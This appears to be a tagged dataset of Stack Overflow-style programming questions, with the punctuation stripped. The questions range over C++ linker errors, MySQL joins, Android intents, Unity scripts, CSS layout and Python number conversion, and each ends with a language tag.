d3d11::shader&gt; (__cdecl*)(void)&gt; &gt; &gt; d3d11::createmap  ( createmap@d3d11@@0v $map@v $basic_string@du $char_traits@d@std@@v $allocator@d@2@@std@@p6a av $shared_ptr@vshader@d3d11@@@tr1@2@xzu $less@v $basic_string@du $char_traits@d@std@@v $allocator@d@2@@std@@@2@v $allocator@u $pair@$$cbv $basic_string@du $char_traits@d@std@@v $allocator@d@2@@std@@p6a av $shared_ptr@vshader@d3d11@@@tr1@2@xz@std@@@2@@std@@a)</code>    still  what i think it s trying to say is the static map object in the d3d11 class is undefined when used at some point. but i thought static objects were constructed at the beginning of the program. so what s going on,c++
conversion of not exists to another query that uses join  here is the query using not exists.. can anyone rewrite this query using join     <pre><code>select name         trans from skyplan_deploy.deploy_stars d where apt= kopf    and name!=trans   and not exists     (select distinct c.star_ident                       c.fix_ident      from corept.std_star_leg c      inner join        (select star_ident                 transition_ident                 max(sequence_num) seq                 route_type         from corept.std_star_leg         where data_supplier= j            and airport_ident= kopf          group by star_ident                   transition_ident)b on c.sequence_num=b.seq      and c.star_ident=b.star_ident      and c.transition_ident=b.transition_ident      where c.data_supplier= j         and c.airport_ident= kopf         and d.name=c.star_ident        and d.trans=c.fix_ident); </code></pre>   thank you      let corept.std_star_leg table be this.     <pre><code>star_ident transition_ident sequence_num fix_ident airport a               xx               10         qwe     kopf   a               xx               20         wer     kopf   a               xx               30         hyu     kopf   a               xx               40         gji     kopf    b               yy               10         sji     kopf   b               yy               20         dji     kopf   b               yy               30         fji     kopf   b               yy               40         ghi     kopf   b               yy               50         kdi     kopf  </code></pre>   after performing inner join the result will be obtained as follows.     <pre><code>a               xx               40         gji   b               yy               50         kdi   </code></pre>   thus retrieving the max sequence_num rows.after that the skyplan_deploy.deploy_stars table will be as follows.     <pre><code>apt            name              trans   kopf            a                 gji   kopf            a                 fji   kopf            a                 dhi   kopf            b                 kdi   kopf            b                 vnm   </code></pre>   i need to output     <pre><code>a  fji   a  dhi   b  vnm </code></pre>,mysql
interface section of m file   i have heard on an online course on objective c that the the properties that appear in the interface section of an m files belong  to the storyboard file not to the controller  -and hence why they are  weak - can someone explain this to me or point me towards a tutorial  how can it belong to the storyboard file if it s in the controller file,objective-c
android new intent new screen  i am still not completely sure of this opening a new screen with a new intent. i have two problems. 1 is getting it to work and the second is more theory.    firstly i have two packages com.quiz.max and com.reason.max both have activities names accordingly eg quiz and reason respectively. here is the on click code i am trying to execute at the moment in quiz to go to reason.   <pre><code>        intent intent = new intent();         intent.setclassname( com.reason.max    com.reason.max.reason );         this.startactivityforresult(intent  requestcode); </code></pre>   secondly i heard if i start this intent then everytime i click the button a new intent is created. does this mean if the user goes to reason page and navigates back and clicks the button again they actually create a new intent instead of going back to the already active one. thus dozens could be opened via this method. therefore should i close each reason intent once navigated back or is this a redundant point     max,android
the attribute unityengine.requirecomponent is not valid on this declaration type. it is valid on class declarations only  i am trying to code my first game  tappy bird  using unity2d. when i try to run the app  i am receiving the following error message in unity:   <blockquote>    assets/scripts/tapcontroller.cs(6 6): error cs0592: the attribute   unityengine.requirecomponent is not valid on this declaration type.   it is valid on class declarations only  </blockquote>   code:   <pre><code>using system.collections;  using system.collections.generic;  using unityengine;   public class newbehaviourscript : monobehaviour  {     [requirecomponent(typeof(rigidbody2d))]      public float tapforce = 10;      public float tiltsmooth = 5;     public vector3 startpos;     rigidbody2d rigidbody;     quaternion downrotation;     quaternion forwardrotation;      void start()     {         rigidbody = getcomponent&lt;rigidbody2d();         downrotation = quaternion.euler(0  0  -90);         forwardrotation = quaternion.euler(0  0  35);     }      void update()     {         if (input.getmousebuttondown(0))         {             transform.rotation = forwardrotation;             rigidbody.addforce(vector2.up * tapforce  forcemode2d.force);         }         transform.rotation = quaternion.lerp(             transform.rotation  downrotation  tiltsmooth * time.deltatime);     }      void ontriggerenter2d(collider2d col){         if(col.gameobject.tag ==  scorezone ) {             //register a score event             //play sound         }         if(col.gmeobject.tag ==  deadzone ) {             //register a dead event             //play a sound         }     } } </code></pre>,c#
only show content associated with user  i have a service that does a request    <pre><code>.factory( movieservice   [ $http   function($http) {   return {     loadmovies: function() {       return $http.get( /movies_users.json );     }   }; }]) </code></pre>   this is the json output and is the result of 2 tables being joined. a user table and a movie table. as you can see the users are associated with 1 or more movies.   <pre><code>[   { id :1     email : peter@peter.nl        movies :[       {          id :4           title : creed           movie_id : 312221        }        {        id :5           title : star wars: episode vii - the force awakens            movie_id : 140607        }     ]   }     { id :2     email : jan@jan.com        movies :[       {          id :4           title : creed           movie_id : 312221        }     ]   } ] </code></pre>   i then have this function in my controller    <pre><code>movieservice.loadmovies().then(function(response) {   $scope.movies = response.data; }); </code></pre>   this stores the data from the service into the movie scope.    if i do    <pre><code> ng-repeat  =&gt;  movie in movies  </code></pre>   the ng-repeat shows all the movies added by all the users. how would i only show the movies associated with the current user in a view,angularjs
running two versions of java on the same linux server via same user for different application  i have two versions of java running on my local server. i wish to use one java version for 1 application and another java version for another application. the user is same. i have been trying to explore different options and i am stuck now. can somebody please guide me how to go about it    alternatives --config java    there are 2 programs which provide  java .   <h2>  selection    command</h2>   *+ 1           /usr/lib/jvm/jre-1.7.0-openjdk.x86_64/bin/java    2           /usr/java/jdk1.8.0_101/bin/java    the default version is 1.7 but i wish to run a script which displays the java version as 1.8. basically  i wish to use java 1.8 only for that bash script without changing the default version of java running on the machine.    i have created a bash script with the export path of the java 1.8    export java_home=/usr/java/jdk1.8.0_101/bin/java export path=$path:/usr/java/jdk1.8.0_101/bin java_version=<code>java -version 2&gt;&amp;1 |awk  nr==1{ gsub(/ /   ); print $3 } </code>   <h1>export java_version</h1>   echo $java_version    the output of this bash script still displays the java version as 1.7. am i doing something wrong,java
onresume is not calling in the dialog fragment when back press from another activity  i  am using an dialog fragment for displaying the details and click a button in the dialog fragment redirect to an activity and when finish the activity and redirect back to the dialog fragment.but whole devices called onresume but in some device like (samsung tab 3 8 inch) calling the on create view again. not calling the onreusme. it cause crash for  me please suggest on this.,android
c++11 passing variadic number of objects by reference to function  i m trying to pass a variable number of objects by reference in c++11.    the c-style of variadic argumnets did not seem very elegant  so i tried using the std::initialiszer_list.    but all the examples i found used pass by copy  i wrote a simple example of what i want to achieve:   <pre><code>//example class for illustration purposes class myclass { public:     myclass()     : m_id(0)  m_idchecks(0)     {}     ~myclass(){}      int getid()     {         m_idchecks++;         return m_id;     }     int getidchecks() const     {         return m_idchecks;     }  private:     int m_id;     int m_idchecks; };   // i want to do something like this (pass the objects by reference): // void test_initializerlist(std::initializer_list&lt;myclass&amp;&gt; listclasses)  // but only pass by copy works: void test_initializerlist(std::initializer_list&lt;myclass&gt; listclasses)  {     // doing operations on copies of the object:     int sum = 0;     for(auto c : listclasses)     {         sum += c.getid();     }     std::cout &lt;&lt;  \n id:   &lt;&lt; sum; } void test() {      myclass c1;     myclass c2;     myclass c3;      test_initializerlist({c1 c2 c3});     std::cout &lt;&lt;  \n wanted:   &lt;&lt; 1 &lt;&lt;   id checks  got:   &lt;&lt; c1.getidchecks() &lt;&lt;  \n ; } </code></pre>   so how do you pass a variable number of arguments in modern c++  examples are appreciated!,c++
getting time in 12-hour format from the user and convert to 24-hour format  in k.n. king s book c programming: a modern approach  chapter 7 there is an exercise 9 (and also exercise 8)  which asks the user to enter a 12-hour time and then converts it into a 24-hour one.    e.g. 9:11 pm -> 21:11    to my question  i understand how to get the times in the format of e.g. 8:37pm or 8:37[space]pm but i have no idea how to make it work for both formats.    thanks   <pre><code>int h  m; char meridiem;  printf( enter a 12-hour time:  ); scanf_s( %d:%d%c   &amp;h  &amp;m  &amp;meridiem);  printf( %c\n   meridiem); </code></pre>   note: i do realise that i am getting only one character.,c
is it possible to efficiently check whether stl std::deque erase succeded   we are trying to use the std::deque erase member function. the return value of the std::deque erase(iterator) member function is a a random access iterator pointing to the new location of the element that followed the last element erased by the function call  which is the container end if the operation erased the last element in the sequence.    we were wondering whether it is possible to efficiently check whether stl std::deque erase succeded. thank you. an excerpt of our code is shown below:   <pre><code>typedef std::multimap&lt;char * range&gt;::const_iterator i; std::pair&lt;i i&gt; b = mmultimap.equal_range(tmpprevmapptr);  for (i i=b.first; i != b.second; ++i){     std::deque&lt;range&gt;::iterator iter;    std::deque&lt;range&gt;::iterator it;    iter = std::lower_bound(ranges_type.begin() ranges_type.end() i-&gt;second);    if (iter != ranges_type.end() &amp;&amp; !(i-&gt;second &lt; *iter)){        it = ranges_type.erase(iter);    } } </code></pre>,c++
float doesn t change when i add 0.1 to it  i am quite a newbie to c. so when i writing a small game demo  i face a really strange problem.   <pre><code> void testc()  {      float a = 825300160;      float b = a + 0.1;      assert(a != b);  } </code></pre>   the above assert statement can t passed. very strange.<br> my environment is mac os ml. gcc 4.2.1,c
converting dictionaries  this is my dictionary   <pre><code>dict = { apple : der apfel    ant : die ameise    asparagus : der spargel } </code></pre>   i would like to get an output:   <pre><code>dictionary for a apple: der apfel ant:die ameise asparagus:der spargel </code></pre>   i am new to dictionaries please help    i tried doing   <pre><code>def tutorial8_part2():   dict = { apple : der apfel    ant : die ameise    asparagus : der spargel }   dictlist = dict.items()   for key  value in dict.iteritems():     temp = []     akey = key     avalue = value     temp.append(akey)     temp.append(avalue)     dictlist.append(temp)     print dictlist.append(temp) </code></pre>   but its not working,python
how to hide fileupload with simple span by using css  i am using this file uploader <a href= http://blueimp.github.io/jquery-file-upload/index.html  rel= nofollow >http://blueimp.github.io/jquery-file-upload/index.html</a> but due to some reason add files button also show the file upload. i want to hide them like a link. current look     <a href= https://www.dropbox.com/s/41uc6v1b00287lc/screen.png  rel= nofollow >https://www.dropbox.com/s/41uc6v1b00287lc/screen.png</a>    i copied the same css which they use   <pre><code> &lt;span class= btn btn-success fileinput-button &gt;         &lt;i class= glyphicon glyphicon-plus &gt;&lt;/i&gt;         &lt;span&gt;add files...&lt;/span&gt;         &lt;input type= file  name= files[]  multiple&gt; &lt;/span&gt;   .fileinput-button {   position: relative;   overflow: hidden; }     .btn {     display: inline-block;     padding: 6px 12px;     margin-bottom: 0;     font-size: 14px;     font-weight: normal;     line-height: 1.428571429;     text-align: center;     white-space: nowrap;     vertical-align: middle;     cursor: pointer;     border: 1px solid transparent;     border-radius: 4px;     -webkit-user-select: none;     -moz-user-select: none;     -ms-user-select: none;     -o-user-select: none;     user-select: none; }  input[type= file ] { display: block;       } </code></pre>,css
crop uiimage according to image resolution  i have one <code>uiimageview</code>. its content mode is set to <code>aspectfit</code>.   <pre><code>[imageview setcontentmode:uiviewcontentmodescaleaspectfit]. </code></pre>   i need to crop a <code>subimage</code> from this image. this is the code which crops the image:   <pre><code>cgimageref imageref = cgimagecreatewithimageinrect([imageview.image cgimage]  customrect); uiimage *cropped = [uiimage imagewithcgimage:imageref]; cgimagerelease(imageref); </code></pre>   where <code>customrect</code> is the rectangle from which i need to crop the image.     this is how i calculate it:   <pre><code>cgrect customrect = cgrectmake((cropview.frame.origin.x/xfactor)                                 (cropview.frame.origin.y/yfactor)                                 (cropview.frame.size.width/xfactor)                                 (cropview.frame.size.height/yfactor)); </code></pre>   the problem comes in cropping. <code>cgimagecreatewithimageinrect</code> crops the given area according to the actual image size which  in some cases  is larger than the image view size. i tried using other approaches such as <code>uigraphics:getimagefromcurrentimagecontext</code> but these do not keep the image quality as much as it degrades them.,ios
unable to create valid activerecord model due to reference error  i have a gem that has two active record models model a and model b. model b must have a reference to model a if another field is true and cannot have a reference to model a if that other field is false.    <pre><code>validates_presence_of :model_a_id  if: :external validates_absence_of :model_a_id  unless: :external </code></pre>   our gem is tested using <a href= https://github.com/pat/combustion  rel= nofollow noreferrer >combustion</a>. when running the engine or gem through combustion everything works fine. we can create model b in all instances. when our gem is consumed by our other application  you cannot create model b if the <em>external</em> is false  as it gives you:   <pre><code>1 error prohibited this model_b from being saved:   model a must exist </code></pre>   this previously worked prior to being on rails 5. after investigating why this could be happening i landed on this configuration that is present in the initializers. this configuration exists in the application that consumes our gem  but not the gem itself.   <pre><code>rails.application.config.active_record.belongs_to_required_by_default = false </code></pre>   if i put this configuration item in my gem and set it to false  nothing changes. when ran through combustion i can create model b with external set to false. when ran through the application  i still cannot create model b  with the same error as above.    when i put this configuration item in my gem and set it to true  i can no longer create model b  with the same error as when i run the gem through the application. the same result happens with the application.    i ve been stumped on what to do to resolve this issue and any help would be appreciated.,ruby-on-rails
get dynamic webpage data using javascript  can anybody tell how i can get dynamic web page data or content using javascript     similar to php function get_file_content() page_value = get_file_content(<a href= http://www.mywebsite.com/page.html  rel= nofollow >http://www.mywebsite.com/page.html</a>);    but it is in javascript. is it possible,javascript
how do i remove the default underlines in my html code   i have created a container which has a picture inside and some text. however every time i open up the html the text inside the container appears as a link or underlined. how can i remove the default underline/link using html or css,html
how can i imitate this view controller modal transition  so i m trying to imitate <a href= http://www.gfycat.com/drearybountifulcrow  rel= nofollow noreferrer >the transition found in the pocketcasts app</a>. the idea is to have a view controller emerge from the bottom of the screen when an item is clicked on  and the view controller can either be swiped up to go full screen or swiped downwards to dismiss it. i honestly have no idea how i would achieve this  so i m wondering if anyone has dealt with it before. ideally this would be done in swift  but obj-c works. thanks!,ios
javascript - is there a better way to check an string instead of indexof  i use this code and my question would be if there is a better way to check a string than <strong>indexof</strong>:   <pre><code>if(documentfile.ending.indexof( pdf ) &gt; -1 || documentfile.ending.indexof( pdf ) &gt; -1 || documentfile.ending.indexof( docx ) &gt; -1) </code></pre>,javascript
"python problems with decimal place  i have written an transfomator for decimal numbers in an other number system. the number left to the comma i right but the decimal place after the comma is false. i ll poste my code but the variables are in german  so i hope you can read them    here ist the code left to the comma (no mistake)    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>print  decimal numbers to another number system between [2-9]\n 
 decimal = float(raw_input( put in a float:  ))
 base = int(raw_input( base:  ))
 
 #declaration for first part
 decimalnew = decimal  # we need this var for the second part
 result = 0
 number = int(decimal) / 1
 factor = 1
 
 
 # first part for integers decimal is always an integer (this part is ok)
 while (decimal):
  leftover = int(decimal) % base
  decimal = int(decimal) / base
  
  factor *= 10
  result = result + leftover * factor
 
 #declaration for second part
 decimalnew = decimalnew - number
 result2 = 0
 factor2 = 1
 
 # second part for floats always &lt; 1 (f.e. 0.2)
 
 
 # i think in this part is the mistake
 while (decimalnew &gt; 0):
  leftover2 = decimalnew * base
  decimalnew = decimalnew * base
  if (decimalnew &gt; 0):
   decimalnew = decimalnew - leftover2 
  factor2 = factor2 * 10
  result2 = result2 + leftover2 / factor2
 
 # results from the first part and the second part
 finalresult = result + result2
 
 
 print  eingegebene zahl   number   - neue zahl mit der basis %d =  % (base)   finalresult/10</code></pre>
 </div>
 </div>",python
jquery: run only once  yes i have an fancybox. it auto opens if  mode=new    what happens on  mode=new is:   <pre><code>&lt;script&gt; $(document).ready(function(){ $( #newpm ).click(); }); &lt;/script&gt;  </code></pre>   it opens fine. but when you then click on the element  it keeps closing/open  because this is activated. so how can i only run this once,jquery
find index in list of custom objects  i have a list: <code>list&lt;myobject&gt; mylist</code>. it currently holds 3 myobjects. given an int  i need to know how to find the index of any one of those objects so that i can use it elsewhere. i have tried using lambda statements but for some reason they absolutely do not want to work. i m actually unsure if they re appropriate for this scenario. i have tried using mylist s indexof  but i can t seem to get that to work  probably because i m using custom objects.    if anybody can tell me how to accomplish this i would really appreciate it.,c#
nstimer - why does scheduledtimerwithtimeinterval work  yet initwithfiredate doesn t   this calls my selector repeatedly each 60 seconds as desired:   <pre><code>autodeletetimer = [nstimer scheduledtimerwithtimeinterval:60 target:[simpledb class] selector:@selector(autodelete:) userinfo:nil repeats:yes]; </code></pre>   this next line doesn t call it at all. not initially nor after 60 seconds:   <pre><code>autodeletetimer = [[nstimer alloc] initwithfiredate: [nsdate datewithtimeintervalsincenow:1] interval:60 target:[simpledb class] selector:@selector(autodelete:) userinfo:nil repeats:yes]; </code></pre>   can anyone explain why  thanks.,objective-c
android - how to programmatically set button color  i am reading in some data from a rest api and need to generate some buttons based on the information the app receives.    because i need the same buttons in many activity screens i have extended button to make a rachelbutton and i set it up in the constructor.   <pre><code>public rachelbutton(context context  info info) {     super(context);     this.info= info;      settext(info.gettime());     settypeface(typeface.default  typeface.bold);      int identifier = 0;      if(info.isavailable()){         identifier = getcontext().getresources().getidentifier( drawable/info_button_ +info.gettype()  null  getcontext().getpackagename());     }else{         identifier = r.drawable.info_button_unavailable;     }      if(identifier == 0){         log.e( info_button    no button for  +info.gettype());     }      setbackgroundresource(identifier);     settextcolor(r.color.info_button_text_color);      setonclicklistener(new view.onclicklistener(){         public void onclick(view view) {             //do stuff         }     }); } </code></pre>   then an example of the resource i am using to generate a colored button is this:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;selector xmlns:android= http://schemas.android.com/apk/res/android &gt; &lt;item android:state_pressed= true  &gt;     &lt;shape&gt;         &lt;gradient             android:startcolor= @color/button_pressed              android:endcolor= @color/button_pressed              android:angle= 270  /&gt;         &lt;stroke             android:width= 3dp              android:color= @color/button_pressed  /&gt;         &lt;corners             android:radius= 3dp  /&gt;         &lt;padding             android:left= 5dp              android:top= 5dp              android:right= 5dp              android:bottom= 5dp  /&gt;     &lt;/shape&gt; &lt;/item&gt;  &lt;item android:state_focused= true  &gt;     &lt;shape&gt;         &lt;gradient             android:endcolor= @color/info_normal              android:startcolor= @color/info_normal              android:angle= 270  /&gt;         &lt;stroke             android:width= 3dp              android:color= @color/info_normal  /&gt;         &lt;corners             android:radius= 3dp  /&gt;         &lt;padding             android:left= 5dp              android:top= 5dp              android:right= 5dp              android:bottom= 5dp  /&gt;     &lt;/shape&gt; &lt;/item&gt;  &lt;item&gt;     &lt;shape&gt;         &lt;gradient             android:endcolor= @color/info_normal              android:startcolor= @color/info_normal              android:angle= 270  /&gt;         &lt;stroke             android:width= 3dp              android:color= @color/info_normal  /&gt;         &lt;corners             android:radius= 3dp  /&gt;         &lt;padding             android:left= 5dp              android:top= 5dp              android:right= 5dp              android:bottom= 5dp  /&gt;     &lt;/shape&gt; &lt;/item&gt; &lt;/selector&gt; </code></pre>   as you can see in the code i am setting the text color and i m sure that this color exists as a resource (thank you intellij).    but setting the text color like this has no effect at all  the text color on the button seems to be a darker shade of the button s background color.    if anyone could give me some advice as to what to try next i would be most appreciative.,android
how big is an object reference in java and precisely what information does it contain   as a programmer i think of these as looking like  the java.lang.object at address 1a234552  or similar for something like the <code>s</code> in   <pre><code>object s =  hello ; </code></pre>   is this correct   therefore are all references a fixed size,java
rails - display all the elements of a class in a view that is not that class  index view  i have a site with novels and illustrations.  on an illustration s show page  i wish to show a thumbnail grid of all the illustrations that belong to the same novel.  how can i call a method (with parameters) in the illustrations_controller from the view to return a list of novels that i get with a find method   i ve tried the following but the error message claims i don t have this message in the controller:    <code>&lt;% @illustrations = illustrationscontroller.get_related_by_novel %&gt;</code>    here s the method in the controller:   <pre><code>class illustrationscontroller &lt; applicationcontroller . .#some code here .   def get_related_by_novel     @illustrations = illustration.find(params[:id][:novel])   end end </code></pre>   even if i get this call to work  i don t know how to pass the params from the currently viewed illustration to the controller so it can run the query.    thanks.,ruby-on-rails
android studio : variable values not showing in debug  i would like to debug an app  but when i start debugging  i can t see any variable values :     <img src= https://i.stack.imgur.com/zmfif.png  alt= image_variable.png >    i m using the last version of android studio on windows 8.1 and debugging on an android virtual machine nexus 5x.,android
difficulty understanding this css positioning result  jsfiddle link: <a href= https://jsfiddle.net/jm5b5p9l/1/  rel= nofollow >https://jsfiddle.net/jm5b5p9l/1/</a>    css:   <pre><code>header {     background-color: #323d51;     height: 600px; } li {     display: inline-block;     border: 5px solid mistyrose;     height: 100px;     width: 100px; } .logo {     background-color: grey;     height: 100px;     width: 100px; } .userlink {     color: white;     border: 2px solid goldenrod; } </code></pre>   so  i am having trouble understanding why on the first  row   so to speak  my two li inline-blocks are not aligned with one another  but in the bottom two rows  there is no issue. it seems like it is because the child elements are different  but i don t know why that would matter.     can anyone explain why this is happening and what i can do to resolve it,css
textdocscompr::letters_set   referenced from: _zn12textdocscmprletters_set$non_lazy_ptr  this is my header file:    <pre><code>#include &lt;vector&gt;  // std::vector #include &lt;string&gt; // std::string #include &lt;fstream&gt; // std::ifstream #include &lt;set&gt; // std::set  class textdocscmpr {   public:       textdocscmpr();      ~textdocscmpr();      void addfile(std::string);      void setthreshold(double);   private:      std::vector&lt;std::string&gt; files_vec;      std::vector&lt;std::string&gt; get_file_sntncs(std::fstream&amp;);     std::vector&lt;std::string&gt; get_sntnc_wrds(const std::string&amp;);     double sntnc_smlrty_qtnt(std::vector&lt;std::string&gt;  std::vector&lt;std::string&gt;);     static std::set&lt;char&gt; letters_set;     double sntnc_smlrty_thrshld;    }; </code></pre>   i initialize letters_set under the constructor in my cpp file:    <pre><code>textdocscmpr::textdocscmpr() {      // set the sentence similarity threshold to a default of 0.7     sntnc_smlrty_thrshld = 0.7;     // add all the characters of letters_arr to letters_set     const char letters_arr[] = { a    b    c    d    e    f    g    h    i    j    k    l    m    n    o            p    q    r    s    t    u    v    w    x    y    z    a    b    c    d            e    f    g    h    i    j    k    l    m    n    o    p    q    r    s         t    u    v    w    x    y    z    \     . };      for (int i = 0; i &lt; sizeof(letters_arr)/sizeof(char); ++i)         letters_set.insert(letters_arr[i]); } </code></pre>   but for some reason i get the following error:     <strong> textdocscmpr::letters_set   referenced from: __zn12textdocscmpr11letters_sete$non_lazy_ptr in plagiarismdetector.o symbol(s) not found collect2: ld returned 1 exit status</strong>    i m sorry for asking so many questions. any help is greatly appreciated. you guys are the best!,c++
how can i save images to iphone directory and retrieve it   i want to save image in iphone album and retrieve them on particular index  how can i     i have to save profile of many people  along with their images  so how can i access such concept,iphone
angularjs: how can i make a page inactive for some time using a timer countdown stored in the cookie   i am storing a timestamp in the cookie  and after 3 failed login attempts by a user  i need to prevent the user from accessing the login page for sometime say in this case 10seconds. i prevent the access to login page by poping up a counter modal for 10 seconds. everything works correctly  except when the user clicks on reload/refresh key  the timestamp is reset back to zero (0) and then he can access the login page. how can i prevent this    <pre><code>app.controller( loginattemptscontroller   function ($scope  $cookies  $log  $interval  $timeout) {      var counter = 0;     $scope.show = false;     $scope.popup = false;     $scope.newcounter;       $scope.setcookie = function () {               $cookies[ mycookiearray ] = {              key1 : 10         };          getmycookiesback = $cookies[ mycookiearray ];         $log.info(getmycookiesback.key1);                  stop = $interval(function () {                              $scope.setnewtimer( getmycookiesback.key1);            getmycookiesback.key1 = $scope.newcounter;                     console.log(getmycookiesback.key1);         }  1000);      };      $scope.setnewtimer = function (timer){          if(timer&lt;=0) {             $scope.popup = false;             $scope.newcounter = 10;             $interval.cancel(stop);             return $scope.newcounter;         }          else {         $scope.newcounter = timer - 1;         return $scope.newcounter;         }      };         $scope.timeoutinit = function () {         $timeout.cancel($scope.timeoutsession);         console.log( timeout handler invoked );          $scope.timeoutsession = $timeout(function (timeoutvalue) {             $scope.startcountdown(); // initiates the countdown display         }  $scope.timeoutvalue);     };       $scope.checkattempts = function () {          var username = $scope.username;         var password = $scope.password;          if (username ==  kk  &amp;&amp; password ==  kk ) {             window.location =  ./home.html ;         } else if (username ==  kk  &amp;&amp; password !=  kk ) {             $scope.show = true;             $scope.alertmessage =  sorry  we don t recognize this user ;             counter = counter + 1;          } else if (username !=  kk  &amp;&amp; password ==  kk ) {             $scope.show = true;             $scope.alertmessage =  sorry  we don t recognize this user ;             counter = counter + 1;              /* empty the fields */             $scope.username =   ;             $scope.password =   ;         } else if (username !=  kk  &amp;&amp; password !=  kk ) {             $scope.show = true;             $scope.alertmessage =  sorry  we don t recognize this user ;             counter = counter + 1;         }          if (counter == 3) {             counter = 1;             $scope.popup = true;             this.setcookie();             /* window.location =  ../login.html ; */         }     };  }); </code></pre>,angularjs
android searching a website for information  i m trying to search a website for information (i.e. lets say i make an application for cinemas  the user inputs the name of the film and the cinema he wants and the application prints the times).    so in the background the application would go to the cinemas webpage  use the webpages search engine  parse the page and print a list of times.    i honestly don t know where to start so any help or tips would be most welcome.    thank you in advance  aterin,android
why does calling the + operator on a null event reference initialize an event   am i missing something here  how are null event references changed by an operator    <pre><code>class foo {      public event eventhandler&lt;eventargs&gt; anevent;     public foo()     {         console.writeline(anevent == null); // true         anevent += (sender  args) =&gt; { var i = 0; };     }      public static void main(string[] args)     {         var a = new foo();         console.writeline(a.anevent == null); // false         console.readkey();     }  } </code></pre>,c#
detecting background tap  i m busy with an app you need to touch a button  but when u touch outside the button (on the background of the app screen) i want to display an alert.    does anyone know how to detect an tap on the background     button:   <pre><code>   mybutton = [uibutton buttonwithtype:uibuttontypecustom];     mybutton.frame = cgrectmake(0  0  100  100);     [mybutton setimage:[uiimage imagenamed:@ tap.png ] forstate:nil];     [self.view addsubview:mybutton];      [mybutton addtarget:self action:@selector(buttonpressed) forcontrolevents:uicontroleventtouchupinside]; </code></pre>,objective-c
nsdictionary causing exc_bad_access  i am trying to call objectforkey: on an nsdictionary ivar  but i get an exc_bad_access error. the nsdictionary is created using the json-framework and then retained. the first time i use it (just after i create it  same run loop) it works perfectly fine  but when i try to access it later nothing works. i am doing this code to try to figure out what is wrong:   <pre><code>if (resultsdic == nil) {     nslog(@ results dic is nil. ); } if ( [resultsdic respondstoselector:@selector(objectforkey:)] ) {     nslog(@ resultsdic should respond to objectforkey: ); } </code></pre>   the dictionary is never nil  but it always crashes on respondstoselector. any ideas     addition: these are the other places  besides above  that the dictionary gets interacted with:   <pre><code>- (void)connectiondidfinishloading:(nsurlconnection *)connection {     [connection release];      //get the data in a usable form     nsstring *jsonstring = [[nsstring alloc] initwithdata:downloadeddata encoding:nsutf8stringencoding];     resultsdic = [jsonstring jsonvalue];      [self processresults];      nslog(@ success. received %d bytes of data  [downloadeddata length]);     [downloadeddata release];     [jsonstring release]; }    - (void)processresults {         nsarray *resultsarr = [resultsdic objectforkey:@ results ];                 cllocationcoordinate2d coordinate = [self coordinatefromresult:[resultsarr objectatindex:0]];         nslog(@ lat: %f lng: %f   coordinate.latitude  coordinate.longitude); }  - (void)dealloc {   [resultsdic release];   [super dealloc]; } </code></pre>,objective-c
adding the content of span into div and making it visible on button click  i am getting some content into  when user enters <code>url</code> on my page. i want  when user click on the button the content should be set to <code>&lt;div&gt;</code> and after that div should appear.     here is my fiddle:    <a href= http://jsfiddle.net/karimkhan/qx4ab/  rel= nofollow >http://jsfiddle.net/karimkhan/qx4ab/</a>,javascript
how do i achieve similar functionality to dbset.addorupdate   i need to do something very similar to dbset.addorupdate  i.e. passing an expression and an array into a method and then finding the value of the field as defined by the expression for each item in the array.     doesn t look like ms have published the source code for addorupdate (which is a shame) hence i was wondering if someone could give me some pointers.    cheers mike,.net
most elegant way to return a string from list<int>  what is the most elegant way to return a string from a list ok  yeah  i know i can do something like   <pre><code>public string convert(list&lt;int&gt; something) {     var s = new stringbuilder();     foreach(int i in something)         s.appendformat( {0}    i);      return s.tostring(); } </code></pre>   but i m sure there is a way to do this with lambdas i tried also to append to a stringbuilder but that is not doing whats expected,c#
last time stamp not within valid period  am rather newbie to objective c (from java background):    i got the following code to check if the last time stamp are within the minimum period  how do i do the opposite  e.g. i want to check if the last time stamp is not within a valid period  the valid period are in seconds.    [lasttimestamp timeintervalsincenow] > -minimum_time,objective-c
how i can creat buttons for love/unlove items in tableview  i m student. sorry about my english  because it s very bad. i have a homework. i m studing obj-c make a karaoke app ( level easy ) <a href= http://i.stack.imgur.com/vrroq.png  rel= nofollow >buttons love some musics ( image here)</a>    <a href= http://i.stack.imgur.com/1cnmx.png  rel= nofollow >alert will show : do you want to add this song to tab bar : my love song( image here)</a>    my question : how i can creat buttons for love/unlove items in tableview   please help me ! thank for all !,objective-c
display image at 50% of its  native  size  i m putting an <code>img</code> tag in a document without knowing the width/height of the corresponding image:   <pre><code>&lt;img src= /myimage.png  /&gt; </code></pre>   i want to use css to scale the image to exactly half of its  native  size (the size of the underlying image). i can t figure out how to do this.   <ul> <li>using <code>width: 50%</code> would size relative to the containing block  not the image.</li> <li>i can t size to a specific pixel width because i don t know the image size.</li> <li> since i only need to support webkit  i ve tried using a transform:   <pre><code>-webkit-transform: scale(0.5); </code></pre>   this adjusts the image nicely  but doesn t resize the size of the image element itself.  </li> <li>@radagaisus suggests using javascript  which is a good fallback. however this is on an ultra lightweight mobile page so i can t use jquery  and dealing with all the onload() handlers manually would be a pain.</li> </ul>   as a postscript: why i am doing this  because i need to handle the retina display. i can detect it using <code>devicepixelratio</code> and fill in larger (2x) images  but i need to scale them down to 50% to look correct on the display.,css
how can i repeat playing a media file with use of class  mediaplayer  in android for several times (for example n times)   i have the code for playing a media file for one time like the following:   <pre><code>mediaplayer mp = mediaplayer.create(this  r.raw.song); mp.start(); </code></pre>   but how can i repeat playing the media file for several times (for example n times),android
how do i start a new line in <textarea>  here is my code:   <pre><code>&lt;textarea name= awesome &gt;&lt; php                                     if(session::exists( home )) {                                         echo session::flash( home ) .          ;                                     }                                     if($user-&gt;haspermission( admin )) {                                         echo  you are an administrator! ;                                     }                                     if(isset($_session[ bodycontentmessage ])){                                         echo $_session[ bodycontentmessage ];                                     }                                     $_session[ bodycontentmessage ] =   ;                                    &gt;&lt;/textarea&gt; </code></pre>   how do i make it so that each if statement variable produces a new line within this textarea  for example if i ran it like it is now  it would output inside the textarea:    you are an administrator!successfully logged in!    however i want it to say:    you are an administrator!    successfully logged in!    any idea how,html
reading a string in c  i am trying to read a name and print it. but the control doesn t wait for me to enter the name and directly prints the output with some meaningless characters.   <pre><code>#include &lt;stdio.h&gt; using namespace std;  int main() {     char name[20];     printf( enter name:  );     scanf( %s   name);     printf( your name is %s   name);     return 0; } </code></pre>   any mistakes here,c
